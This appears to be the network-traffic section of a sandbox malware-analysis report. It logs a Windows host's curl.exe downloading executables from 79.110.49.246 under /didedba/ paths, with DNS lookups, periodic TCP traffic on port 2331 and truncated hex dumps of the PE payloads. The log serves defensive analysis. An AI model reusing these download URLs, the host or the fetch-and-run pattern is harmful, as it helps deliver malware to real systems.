                                                                                                                      Nov 23, 2024 21:10:25.913526058 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:10:25.913705111 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:10:27.141148090 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:10:27.260962009 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:10:38.565946102 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:10:38.687144995 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:10:39.044987917 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:10:39.168894053 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:10:39.225370884 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:10:39.348948002 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:10:50.022098064 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:10:50.145445108 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:10:50.432998896 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:10:50.461752892 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:10:50.592626095 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:10:53.983309031 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:10:54.168970108 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:11:01.657131910 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:11:01.778273106 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:11:02.062613010 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:11:02.090622902 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:11:02.210212946 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:11:13.081777096 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:11:13.203772068 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:11:13.490206957 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:11:13.511136055 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:11:13.630748987 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:11:23.968498945 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:11:24.169112921 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:11:24.533981085 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:11:24.705642939 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:11:24.989255905 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:11:25.009017944 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:11:25.238411903 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:11:35.933212042 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:11:36.052963972 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:11:36.364211082 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:11:36.385968924 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:11:36.505400896 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:11:47.344700098 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:11:47.520749092 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:11:47.805213928 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:11:47.849076986 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:11:47.968826056 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:11:53.987648010 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:11:54.169286966 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:11:58.751631021 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:11:58.877989054 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:11:59.162482977 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:11:59.206367016 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:11:59.326448917 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:12:10.188210011 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:12:10.314580917 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:12:10.625544071 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:12:10.641354084 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:12:10.783099890 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:12:21.651062012 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:12:21.901554108 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:12:22.198975086 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:12:22.230407953 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:12:22.380405903 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:12:23.978370905 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:12:24.169560909 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:12:33.079607964 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:12:33.462826014 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:12:33.747164011 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:12:33.800467968 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:12:33.926871061 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:12:44.501943111 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:12:44.640660048 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:12:44.974644899 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:12:45.049959898 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:12:45.176409960 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:12:53.980650902 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:12:54.169610977 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:12:55.947338104 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:12:56.087464094 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:12:56.372834921 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:12:56.400521040 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:12:56.534719944 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:13:09.994923115 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:13:10.121304989 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:13:10.429811001 CET23314986879.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:13:10.431241035 CET498682331192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:13:10.550797939 CET23314986879.110.49.246192.168.2.7

                                                                                                                      UDP Packets

                                                                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                                                                      Nov 23, 2024 21:09:28.524885893 CET6025353192.168.2.71.1.1.1
                                                                                                                      Nov 23, 2024 21:09:28.665046930 CET53602531.1.1.1192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:33.583655119 CET5116253192.168.2.71.1.1.1
                                                                                                                      Nov 23, 2024 21:09:33.725064039 CET53511621.1.1.1192.168.2.7

                                                                                                                      DNS Queries

                                                                                                                      TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                      Nov 23, 2024 21:09:28.524885893 CET192.168.2.71.1.1.10xbd03Standard query (0)raw.githubusercontent.comA (IP address)IN (0x0001)false
                                                                                                                      Nov 23, 2024 21:09:33.583655119 CET192.168.2.71.1.1.10x51e5Standard query (0)get.geojs.ioA (IP address)IN (0x0001)false

                                                                                                                      DNS Answers

                                                                                                                      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                      Nov 23, 2024 21:09:28.665046930 CET1.1.1.1192.168.2.70xbd03No error (0)raw.githubusercontent.com185.199.109.133A (IP address)IN (0x0001)false
                                                                                                                      Nov 23, 2024 21:09:28.665046930 CET1.1.1.1192.168.2.70xbd03No error (0)raw.githubusercontent.com185.199.111.133A (IP address)IN (0x0001)false
                                                                                                                      Nov 23, 2024 21:09:28.665046930 CET1.1.1.1192.168.2.70xbd03No error (0)raw.githubusercontent.com185.199.110.133A (IP address)IN (0x0001)false
                                                                                                                      Nov 23, 2024 21:09:28.665046930 CET1.1.1.1192.168.2.70xbd03No error (0)raw.githubusercontent.com185.199.108.133A (IP address)IN (0x0001)false
                                                                                                                      Nov 23, 2024 21:09:33.725064039 CET1.1.1.1192.168.2.70x51e5No error (0)get.geojs.io104.26.0.100A (IP address)IN (0x0001)false
                                                                                                                      Nov 23, 2024 21:09:33.725064039 CET1.1.1.1192.168.2.70x51e5No error (0)get.geojs.io104.26.1.100A (IP address)IN (0x0001)false
                                                                                                                      Nov 23, 2024 21:09:33.725064039 CET1.1.1.1192.168.2.70x51e5No error (0)get.geojs.io172.67.70.233A (IP address)IN (0x0001)false

                                                                                                                      HTTP Request Dependency Graph

                                                                                                                      • raw.githubusercontent.com
                                                                                                                      • get.geojs.io
                                                                                                                      • 79.110.49.246

                                                                                                                      HTTP Packets

                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                      0192.168.2.74970079.110.49.246807612C:\Windows\SysWOW64\curl.exe
                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                      Nov 23, 2024 21:09:12.613219023 CET88OUTGET /didedba/abc HTTP/1.1
                                                                                                                      Host: 79.110.49.246
                                                                                                                      User-Agent: curl/7.83.1
                                                                                                                      Accept: */*
                                                                                                                      Nov 23, 2024 21:09:13.979254007 CET1236INHTTP/1.1 200 OK
                                                                                                                      Date: Sat, 23 Nov 2024 20:09:14 GMT
                                                                                                                      Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40
                                                                                                                      Last-Modified: Thu, 21 Nov 2024 21:20:44 GMT
                                                                                                                      ETag: "134200-62772d6da8ce1"
                                                                                                                      Accept-Ranges: bytes
                                                                                                                      Content-Length: 1262080
                                                                                                                      Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 4c 15 2a 67 00 00 00 00 00 00 00 00 e0 00 2e 01 0b 01 02 19 00 00 05 00 00 08 00 00 00 00 00 00 84 9d 00 00 00 20 00 00 00 20 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 3c 00 00 04 00 00 00 00 00 00 02 00 60 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 20 00 2f 00 10 02 00 00 00 60 05 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2f 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED]
                                                                                                                      Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELL*g. @ <` /`/ @ @ @@.rsrc `@)@.d5dcvew/@,rA\
                                                                                                                      Nov 23, 2024 21:09:13.979275942 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 46 97 15 eb c9 96 95 ad d3 0f 67 52 56 fb 18 cf ab 08 57 8b a1 30 b1 a8 8f b9 32 89 81 ed 90 6c 09 18 e0 2b 05 47 5f 78 39 1b 42 62 3f ea 1c 34 62 1f ba 56 01 aa 71 6e 55
                                                                                                                      Data Ascii: FgRVW02l+G_x9Bb?4bVqnUYEHV<w:n*</KQ&p:0Y4q"fs`lPL2Ma_K91:y32{t)&weFMk]6JVx#3dL{)O48JHx=<9
                                                                                                                      Nov 23, 2024 21:09:13.979288101 CET1236INData Raw: c9 c6 67 f6 93 8f 33 33 a2 bb 44 cb 7e 34 ca 6a 82 37 6a 4a de a3 88 c9 3a fd b3 e1 3e 2a 4d 97 74 b2 b6 8f 63 c2 aa f6 12 72 c3 bc 23 25 d5 4d 52 be 32 fa 26 6d 3c 5f a4 56 c1 ca 06 1d 5a b1 fe d3 f1 4f 01 2b d8 a1 af be d2 e7 73 2b ab fb bc 68
                                                                                                                      Data Ascii: g33D~4j7jJ:>*Mtcr#%MR2&m<_VZO+s+hQLz3vFQG;]rC@iHd-1kOIw67V@#.4g)7O/-U'Tno0pYH\5zk8c4#Kux}I`a94wp2M.
                                                                                                                      Nov 23, 2024 21:09:13.979298115 CET1236INData Raw: 65 64 c9 d7 02 59 55 3c 56 a6 34 9b 44 4a 24 68 75 00 f7 d4 cb fe b2 77 47 fc 49 5b 74 eb 2d 80 4b d4 19 2a f9 bd aa 1e f6 81 11 55 04 ee 86 ea 9a 5a 79 62 1a 73 d9 f1 ff f1 bb 2a 28 50 d2 85 45 64 fb 54 d1 17 4f c4 08 7b 64 b7 4f c8 5e 3f ea 6a
                                                                                                                      Data Ascii: edYU<V4DJ$huwGI[t-K*UZybs*(PEdTO{dO^?jwrEY!n+/3sD~J3A*T8FG*Xs"_j=av"kwx$YTa6L}9*1947hSHMo%OU=3_L{X1/s
                                                                                                                      Nov 23, 2024 21:09:13.979305029 CET896INData Raw: 87 62 ac 6d 9e ca 16 ea e9 c9 d3 f7 21 94 73 62 8e fa a1 20 2e e8 34 5b 22 be 89 64 e0 f1 6a 7e 38 59 59 aa 8c 8a 0b 7b 44 4c ab 18 c1 45 0f 13 71 ea c8 de be 6e 48 01 e8 05 ae 49 5a f3 72 c4 f8 4c e7 d1 10 86 36 9e b6 91 37 a1 80 1f 77 cd 08 b8
                                                                                                                      Data Ascii: bm!sb .4["dj~8YY{DLEqnHIZrL67w91)iRZQ7AosreS&@Zj^|F;ccqK++&Rj$\Gut9J6pmHNd.T-xf8ViTy_>Jj
                                                                                                                      Nov 23, 2024 21:09:14.060172081 CET1236INData Raw: 2c 4f 0a 50 cc 79 cf 6b 00 55 94 e3 f1 81 b1 00 03 5b 31 b1 22 1b ca 08 88 b6 cb ff 64 04 7a fa 2a dd cb ac 71 f1 c5 8b 3e 8c 8a d7 d0 4c 07 d8 86 76 a7 97 02 f3 f1 0b 9d 94 e6 6e 2d 3f 38 b5 ba 91 7d ce d8 0a d3 55 15 b8 a0 c9 a2 3b 4c 9a ee 03
                                                                                                                      Data Ascii: ,OPykU[1"dz*q>Lvn-?8}U;LG--Pi#/*"o;AtLy7Lqs)X,V<Gb?=F-{|ZAv"/__4j_)Q'q`s&hh=\n*tArE
                                                                                                                      Nov 23, 2024 21:09:14.060206890 CET224INData Raw: e6 8c 36 ca 15 83 ef 82 dc 50 bc e7 56 7a ec c3 0d 3e 9c 92 ca e8 44 bb 1e 98 e9 ab db 79 40 96 fd 8b 81 43 3b a2 8b ec c1 58 4b af 67 0f 9a 20 24 d3 7d 79 61 63 f5 4b c3 0b bf 05 47 15 57 85 92 e1 14 79 ce 31 fe 0c 9c 0d 13 cb b4 4a 6b 8c 9e e6
                                                                                                                      Data Ascii: 6PVz>Dy@C;XKg $}yacKGWy1JkgvAr:p*7k#x_KHy@)nhNP"_0L!hBo0FJM6FWNLRg>pvH4=/LC-C#7+>w
                                                                                                                      Nov 23, 2024 21:09:14.060343027 CET1236INData Raw: a7 76 1f e1 97 68 6a 01 d0 da ea b4 4b d1 b3 e2 de 97 6c 15 ff 25 d0 1b 3d ed ca 97 d6 2c 6a 3c df 69 da fe 74 52 64 b8 32 83 44 0b 4f 5b 44 a2 c3 e0 21 27 76 6d c6 d3 e7 c8 bc 00 ff 50 54 20 0b 4e 79 0c 42 97 cd a2 6f d6 bc 5b 27 01 e8 9e d4 a5
                                                                                                                      Data Ascii: vhjKl%=,j<itRd2DO[D!'vmPT NyBo['fh2PGkV|VG.ij5m4_])lbHWAQN,pYA{w#U+z_"gXw(8&Uhzk0^#IPv>(8bb};18pMU
                                                                                                                      Nov 23, 2024 21:09:14.060497046 CET1236INData Raw: 19 ed cb 19 28 a6 d3 57 04 87 c2 67 0e 53 9e 7d dd b7 8d fc d4 1f 0a 92 fd ad 5e 04 88 db 35 13 2f 90 ac f8 bc 4f 76 b5 e2 15 85 a1 dc 1f ba 29 c6 67 a8 04 56 f8 c8 f2 7f cb d9 86 f1 c2 32 3c bc 4a a2 8b 4d 23 94 d5 62 de e2 21 ec 12 5e 82 84 50
                                                                                                                      Data Ascii: (WgS}^5/Ov)gV2<JM#b!^Pr@`u4H<H$S{`'c5R&XJt3 O54g4'$>.~FztYA"\mh&wliH*d@l@ _}]f[1J6L-*dT'7;g
                                                                                                                      Nov 23, 2024 21:09:14.108299971 CET1236INData Raw: 45 fb ee 83 53 9e 5b c8 6e 14 da 37 a5 c6 10 ec a0 51 d0 fc 3a c6 05 c5 da 20 7b e4 aa 39 6e eb aa fa 78 11 bf 5c ff aa b3 ab 36 10 67 68 15 ef 80 58 10 32 cd 3d 98 d1 8b 70 87 b2 40 ef e1 df 1a 9a 62 86 24 cc bb c8 0b 23 d3 07 c1 2d ee 71 66 e5
                                                                                                                      Data Ascii: ES[n7Q: {9nx\6ghX2=p@b$#-qfpc5Us;dvLkGhoHIGGAe]edf]Y[6%=Hv7)xwUko%!dUa_L9Z"8irgZ,Rt__%OCPZ9
                                                                                                                      Nov 23, 2024 21:09:14.108340025 CET1236INData Raw: 7e 19 a1 1a 9a 1f cd b4 dc a0 5b 0d 5e d5 f4 75 88 03 f2 9c 0e a6 aa 37 77 05 b9 5a 87 44 95 b7 e1 4c bc 94 fb 62 fa ae 9b dc f9 ee 0b 96 37 02 7d 2b e3 b6 2b ae b3 a5 ef 25 32 3f 5f 9f d2 d8 02 8b 3a 09 29 09 7f c9 5c 31 4f f6 f6 4f 63 80 da 2a
                                                                                                                      Data Ascii: ~[^u7wZDLb7}++%2?_:)\1OOc*kCxOMYhJwJ;kQj[$iCrE%C+[WaKMKzT(Q77?r&*~pi;`a'q')TA3ybyLv)[hgU


                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                      1192.168.2.74971179.110.49.246807712C:\Windows\SysWOW64\curl.exe
                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                      Nov 23, 2024 21:09:17.909269094 CET89OUTGET /didedba/dddv HTTP/1.1
                                                                                                                      Host: 79.110.49.246
                                                                                                                      User-Agent: curl/7.83.1
                                                                                                                      Accept: */*
                                                                                                                      Nov 23, 2024 21:09:19.229860067 CET1236INHTTP/1.1 200 OK
                                                                                                                      Date: Sat, 23 Nov 2024 20:09:19 GMT
                                                                                                                      Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40
                                                                                                                      Last-Modified: Thu, 21 Nov 2024 16:38:24 GMT
                                                                                                                      ETag: "124400-6276ee5246017"
                                                                                                                      Accept-Ranges: bytes
                                                                                                                      Content-Length: 1197056
                                                                                                                      Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 df 5e 3f 67 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 02 19 00 56 03 00 00 08 00 00 00 00 00 00 61 15 01 00 00 20 00 00 00 80 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 3b 00 00 04 00 00 00 00 00 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 20 60 2d 00 10 02 00 00 00 c0 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2d 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED]
                                                                                                                      Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL^?gVa @ ;@ `-`-` @ @ @.rsrc @)@.stovfcw`-@lW!* W!
                                                                                                                      Nov 23, 2024 21:09:19.229895115 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 aa 74 17 8c e4 36 cd 3c 92 d0 47 f0 74 d4 b2 06 5d 0d 1a f1 0e 23 58 f8 48 08 a5 37 bc 35 fe 31 5e c4 f0 86 1a 43 5b 52 e0 80 1b 75 d9 39 a7 2c 33 55 4a 8f 44 9f f6 f0 7b 57
                                                                                                                      Data Ascii: t6<Gt]#XH751^C[Ru9,3UJD{W=[?Am [5b#)OVU)-_Bh~.sP(W(L,BKQ'.${%OgeGgAb\3Dj/>C
                                                                                                                      Nov 23, 2024 21:09:19.229911089 CET1236INData Raw: ee 44 31 97 df d9 fa 38 a4 21 80 36 8b af 39 26 e4 97 ca bc f5 f8 c4 0e cd 53 21 81 97 15 cb b1 51 39 be ba 64 da ba 8b 5b 45 3a 6c c5 9d fe ba 1f 8e d1 e4 b3 ab 7d 92 6a 3e 16 23 36 2f c0 c8 4f 3d 8d 9b 30 b0 5d 21 56 03 30 03 8b b6 de a8 5f 31
                                                                                                                      Data Ascii: D18!69&S!Q9d[E:l}j>#6/O=0]!V0_1CT!YMSU|~p5P.QvtBRp);};p!E\UTY8>9BmF3{b6nhu,#{b9-TQ
                                                                                                                      Nov 23, 2024 21:09:19.230024099 CET1236INData Raw: 10 4f 71 1f 08 ff 48 bf 58 c9 d9 6e 02 aa e3 f4 f8 b3 b9 ef ab 77 c4 32 99 34 d5 10 c0 fa 22 7e f1 a4 3b dd 05 d2 3a 66 e8 80 74 e2 38 1a 55 6c d6 98 c1 15 78 87 00 d1 ff 14 f7 43 1d 57 5f 11 76 d4 d6 e5 e8 48 dd 70 f7 a2 a8 59 78 5e 92 e2 3e 4a
                                                                                                                      Data Ascii: OqHXnw24"~;:ft8UlxCW_vHpYx^>JV*{gTg0B=Go(0mZH0TObm?,X\V7c[W\g:F7k_xGmNh:i]yiGds!D0x0l\Rem3TW26V
                                                                                                                      Nov 23, 2024 21:09:19.230043888 CET896INData Raw: 1e ea bc 6f d5 42 98 37 0f 2a 0e 2a ea f7 96 d6 a6 9e 28 04 00 1d be 2c b6 2c 02 ae 99 06 a5 15 92 b1 a7 fd 82 75 dd 8c 7c 2e cd fc 0f fb d4 18 d4 00 d5 f1 db dc 23 6d d4 b5 3c 1d 6f 07 74 06 6a 58 2d 20 d7 5d b7 5f b0 05 3e e5 f0 fe 14 27 06 b4
                                                                                                                      Data Ascii: oB7**(,,u|.#m<otjX- ]_>'cj_9SrsTFN>0T}D]WJW$;@Y}a{'}6t);lKaa{}p\eUlT/|N~8}VX%La\h8='zPI!%:;8|
                                                                                                                      Nov 23, 2024 21:09:19.331640005 CET1236INData Raw: a8 7f be 94 c8 36 36 e3 77 80 52 7a de 03 43 f7 7a 4d e7 5c e5 2e 48 fd 42 52 19 9c e8 fd 88 12 f7 df e7 5b 8e 45 11 e1 8c d1 bb 77 07 f7 53 1a e3 76 7a 79 dd 55 03 51 7d ce a7 42 c2 aa 88 60 f5 f5 51 06 69 6f 6a d2 7e 08 4d 09 98 c6 80 ba 37 b9
                                                                                                                      Data Ascii: 66wRzCzM\.HBR[EwSvzyUQ}B`Qioj~M7t1l/Q1%:F[<KW1q$O$kz^0{@|dlLrFRUj(Qr@pDR6nJsQ?9VgP#QwAb7D
                                                                                                                      Nov 23, 2024 21:09:19.331660986 CET224INData Raw: 7c 70 2b 50 fc 54 81 a6 74 cb fa 98 ea db d8 7a 1f 5f e5 1d e2 e4 7a 28 91 c5 d7 9c 8c 88 d4 11 4b cc 2c 9f f7 83 57 84 4e e8 c1 c8 a8 85 18 f2 92 99 97 3c e2 c8 4d 66 dc de 52 3b 06 88 c9 56 9c ff b3 81 32 40 54 d7 42 f1 55 91 2f bb b9 2e c6 8d
                                                                                                                      Data Ascii: |p+PTtz_z(K,WN<MfR;V2@TBU/.'%I;K1w(Ff)Uq1axq\I\??5fguLH]R&,!M$e+;W2mr7}ymUOZe
                                                                                                                      Nov 23, 2024 21:09:19.331676960 CET1236INData Raw: 50 ee c8 df 77 69 cb 09 45 22 41 4c 09 27 d1 d2 83 26 91 33 61 e7 8e af e4 16 65 33 e6 d6 6f 16 9a 90 90 7f 90 d2 ea 9d 77 4d 66 5d 4e 97 13 63 dd d2 8d 7a 65 8b 57 68 0d 62 07 f1 1b 1f 8d dd 64 24 dd ba 53 3d 51 e6 11 2a a4 05 45 b0 93 26 0f 1c
                                                                                                                      Data Ascii: PwiE"AL'&3ae3owMf]NczeWhbd$S=Q*E&HG098(J~NQ,/D3?xN!S,W(?COhTF`-T)Tm+$5Hw-Lmh]0p~L=(j
                                                                                                                      Nov 23, 2024 21:09:19.331695080 CET1236INData Raw: 36 30 28 dd 8b fa 18 4c 3f 03 2c e9 e3 3a 82 4c 04 f2 d7 a3 4c 69 4f 77 7f 36 2a 61 76 4d 85 a7 ee 47 cd 7b 6e 06 c8 3a 9b 96 6f 60 eb 57 b1 48 3b a4 7a fb 03 ef aa e9 4b 91 5d 03 34 70 3e e3 32 ab 87 dd 71 02 d7 e6 00 cd 35 a8 98 1d 98 7e 85 07
                                                                                                                      Data Ascii: 60(L?,:LLiOw6*avMG{n:o`WH;zK]4p>2q5~G43e"sUXq<pY;"p?HIK.b;GnCigmoYQX@diMQz*;.0BCc&CL&7#`z=H
                                                                                                                      Nov 23, 2024 21:09:19.349747896 CET1236INData Raw: 65 cb 76 38 c3 f2 75 b2 22 7d 0a 64 31 65 ff 2d 76 dc 85 9c df 55 9b 2c 99 62 ab c4 63 f6 49 90 f4 fb 74 11 9d 7d 04 0f e4 5c c7 b1 28 3e 60 b0 f8 fb 8f 09 c2 30 62 41 ce 28 be c8 f3 d1 b7 95 75 22 9a d8 56 6e 42 da 85 48 cc f9 a2 6b e5 24 46 d0
                                                                                                                      Data Ascii: ev8u"}d1e-vU,bcIt}\(>`0bA(u"VnBHk$FKRSKBnkg+`/faGoW\\DJ%Xhn2'X{H)P1|0]+Wv%r3u( Y 1?VtQI95;pB'"z}dU*
                                                                                                                      Nov 23, 2024 21:09:19.349855900 CET1236INData Raw: 4b 66 70 28 73 f8 60 3c c6 72 83 ee fd 4f b6 af 99 f4 6d 8c 52 43 fe 79 e9 1e 63 04 ea 90 dc 72 51 5e c5 3f 75 ca 01 85 8a 15 8b 9c 21 67 d9 44 f1 93 23 04 0d 5d 0c a9 f2 39 96 6d 21 11 e4 4f 12 4b ee c4 35 da 27 83 00 7b 2d e2 03 81 9a 06 1f 23
                                                                                                                      Data Ascii: Kfp(s`<rOmRCycrQ^?u!gD#]9m!OK5'{-#/8as BKk[`CL#voyvuW#Bcgs(jxSUFKK2{m[e2/?B|!F~DEZg63L9UMpzvsh}VQDQ+FMZ_=


                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                      2192.168.2.74972679.110.49.246807848C:\Windows\SysWOW64\curl.exe
                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                      Nov 23, 2024 21:09:22.372083902 CET90OUTGET /didedba/write HTTP/1.1
                                                                                                                      Host: 79.110.49.246
                                                                                                                      User-Agent: curl/7.83.1
                                                                                                                      Accept: */*
                                                                                                                      Nov 23, 2024 21:09:23.679434061 CET1236INHTTP/1.1 200 OK
                                                                                                                      Date: Sat, 23 Nov 2024 20:09:23 GMT
